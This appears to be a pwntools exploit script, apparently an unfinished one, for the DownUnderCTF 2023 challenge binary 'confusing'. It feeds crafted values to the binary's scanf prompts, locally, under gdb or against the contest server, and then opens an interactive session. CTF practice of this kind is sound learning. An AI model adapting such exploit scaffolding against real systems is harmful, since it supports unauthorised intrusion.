from pwn import *
import os

os.environ["PWNLIB_DEBUG"] = "1"

gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
# br *main+78 # first scanf
br *main+160
br *main+170
br *main+220
c
'''

elf = ELF(os.getcwd()+"/confusing")

def start():
    if args.GDB:
        return gdb.debug(elf.path, gs)
    if args.REMOTE:
        return remote("2023.ductf.dev", 30024)
    else:
        return process(elf.path)

while True:
    io = start()
    print(io.recvuntil(b"Give me d: "))
    io.sendline(b"7")
    print(io.recvuntil(b"Give me s: "))
    io.sendline(b"FLAG")# + b"\xff"*4)
    print(io.recvuntil(b"Give me f: "))
    io.sendline(b"2")
    io.interactive()